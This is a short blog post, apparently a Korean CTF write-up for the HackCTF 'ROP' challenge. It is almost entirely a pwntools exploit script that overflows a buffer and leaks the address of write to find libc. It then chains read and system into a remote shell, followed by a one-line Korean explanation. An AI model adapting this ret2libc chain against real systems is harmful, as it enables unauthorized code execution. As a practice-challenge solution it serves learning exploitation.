CTF write-up/hackctf

[hackctf]ROP

youngsouk 2019. 7. 15. 08:51
from pwn import *

#p = process('./rop')
p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./rop')
#lib = e.libc
lib = ELF("libc.so.6")

context.log_level = "debug"

ppp_r = 0x08048509
main = 0x08048470

payload = 'a' * 0x88 + 'b' * 4
payload += p32(e.plt['write']) + p32(ppp_r) + p32(1) + p32(e.got['write']) + p32(4)
payload += p32(main)

p.sendline(payload)
libc = u32(p.recv(4)) - lib.sym['write']
log.info(hex(libc))

payload = 'a' * 0x88 + 'b' * 4 
payload += p32(e.plt['read']) + p32(ppp_r) + p32(0) + p32(e.bss()) + p32(8)
payload += p32(libc + lib.sym['system']) + p32(0) + p32(e.bss())

p.sendline(payload)
p.send('sh\x00')

p.interactive()

말그대로 ROP를 통해 write의 실제 주소를 출력해주고 그것을 바탕으로 libc 릭 해서 익스를 따면 된다.